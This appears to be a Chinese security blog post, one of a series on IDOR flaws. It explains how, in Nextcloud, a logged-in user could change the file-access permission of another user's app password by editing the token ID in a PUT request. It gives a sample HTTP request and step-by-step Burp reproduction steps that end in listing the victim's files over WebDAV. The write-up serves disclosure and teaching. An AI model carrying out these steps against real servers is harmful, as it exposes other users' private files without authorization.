IDOR研究系列-06-注册用户可以更改任何用户的应用程序密码权限
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
现在只对常读和星标的公众号才展示大图推送,建议大家能把迪哥讲事(growing0101)“设为星标”,否则可能就看不到了啦!
前言
前面写过的很多IDOR相关的文章:
正文
有问题的链接见下面:
http://[server]/nextcloud/index.php/settings/personal/authtokens/[token ID]
Nextcloud用户可以创建特定于应用程序的密码,也称为authtokens
, 让一个应用程序对其账户进行有限制的访问。用户可以根据每个应用程序密码授予或拒绝访问他们的文件。
更改密码的文件访问(“文件系统”)权限的功能包含一个IDOR漏洞。在提交易受攻击的请求时,经过身份验证的用户可以通过更改应用程序密码ID号码来更改其他用户的应用程序密码的权限。
脆弱性参数位于发送给脆弱URL的JSON体中。示例请求如下:
PUT /nextcloud/index.php/settings/personal/authtokens/95 HTTP/1.1
Host: 192.168.1.22
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
requesttoken: vc5TVyC0GjTVwEX/YNUMeJ79CWq4W9G0/F6dJTOKMvE=:i6U7bkv2Tna8lXe2NbN6OdO/QgSKP7X1tR/kV1TsC6Q=
OCS-APIREQUEST: true
X-Requested-With: XMLHttpRequest
Content-Length: 109
Cookie: oc0xkd23iidt=prfrkbtr1t6bdqou018cajubv7; oc_sessionPassphrase=mz4sLu%2BmEY3MNj1ItWaTYM6PsBpJikK34msNsw1zA%2BuUJoM9J2zXY26eF7PDr9Dy9DpafNTaWN8iIBrGmh%2FDghSJASzTIwQhjW4gC%2B%2BTjIDBXm0THC7nixmxvdfIPxNA; nc_sameSiteCookielax=true; nc_sameSiteCookiestrict=true
Connection: close
{"id":95,"name":"thisiatest","lastActivity":1513224099,"type":1,"scope":{"filesystem":true},"canDelete":true}
id为脆弱性参数
复现步骤
前提条件:一台有几个测试用户的Nextcloud服务器,一个能通过Burp等代理的浏览器设置。一个WebDav客户端也很有用,可以在Ubuntu上使用cadaver。
-
转到Burp,点击“代理”选项卡,点击“拦截”子选项卡,点击“拦截开启”切换拦截关闭(如果它还没有关闭) -
以测试用户登录Nextcloud -
创建一个应用程序密码,取消勾选“允许文件系统访问” -
转到Burp,点击“代理”选项卡,点击“HTTP历史”子选项卡,向下滚动列表,找到对易受攻击URL的调用.注意authtoken ID的值.它是URL末尾的数字,也是JSON请求正文中的“id”值 -
退出Nextcloud -
如果您有webdav客户端,请使用密码登录。对于cadaver,打开终端,输入 “cadaver http://[server]/remote.php/webdav”
,用app密码登录,发出“ls”命令。应该不会出现任何内容,因为该密码缺乏对用户文件的权限 -
以第二个用户登录Nextcloud -
为这个用户创建一个应用程序密码,取消勾选“允许文件系统访问” -
跳转Burp -> Proxy -> Intercept,切换拦截开启(interception on) -
回到浏览器,为我们刚刚创建的应用程序重新勾选“允许文件系统访问”框。 -
Burp应该会延迟观看请求。请求应该指向易受攻击的URL;如果不是,点击“转发”,直到易受攻击的URL出现 -
在JSON请求正文中,将“id”参数的值更改为前面提到的第一个受害用户的authtoken id -
转发(forward)请求(或者关闭拦截开关,都可以) -
回到webdav客户端,再次发出“ls”命令。现在应该得到受害用户的目录列表。如果没有,退出webdav客户端,并尝试再次登录 -
如果没有webdav客户端,请退出Nextcloud并作为第一个用户重新登录。转到他们的个人设置,向下滚动到 authtoken/app
特定的密码,然后单击3次省略图标。现在应该检查“允许文件系统访问”,这表明我们的IDOR攻击成功地改变了这个authtoken的权限
福利视频
笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,目前还没有录制完成,基础视频总共约200多集,目前已经录制了一百多集
https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374
技术交流
技术交流请加笔者微信:richardo1o1 (暗号:growing)
往期回顾
原文始发于微信公众号(迪哥讲事):IDOR研究系列-06-注册用户可以更改任何用户的应用程序密码权限
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论